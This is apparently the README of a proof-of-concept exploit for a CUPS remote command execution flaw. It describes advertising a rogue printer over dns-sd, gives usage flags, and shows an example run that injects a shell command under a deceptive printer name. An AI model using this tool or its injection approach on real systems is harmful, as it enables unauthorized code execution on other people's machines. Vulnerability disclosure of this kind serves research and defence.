Cupshax

Quick proof of concept for the recent CUPS exploit. I was planning to clean it up a lot more, but the embargo was lifted a lot sooner than expected, so the code is a bit rushed.

For all the technical details you should honestly just read Evilsocket's writeup.

This exploit was written after spotting this commit in the public OpenPrinting CUPS repo. There are probably cleaner injection points.

This PoC uses dns-sd printer discovery, so the target must be able to receive the broadcast message, i.e. be on the same network.

Usage

The exploit uses zeroconf and ippserver, both can be installed via pip.

usage: cupshax.py [-h] [--name NAME] --ip IP [--command COMMAND] [--port PORT]

A script for executing commands remotely

options:
  -h, --help         show this help message and exit
  --name NAME        The name to use (default: RCE Printer)
  --ip IP            The IP address of the machine running this script
  --command COMMAND  The command to execute (default: 'touch /tmp/pwn')
  --port PORT        The port to connect on (default: 8631)

For example:

python cupshax.py --name "Print to PDF (Color)" \
                  --command "id>/tmp/pwn" \
                  --ip 10.0.0.3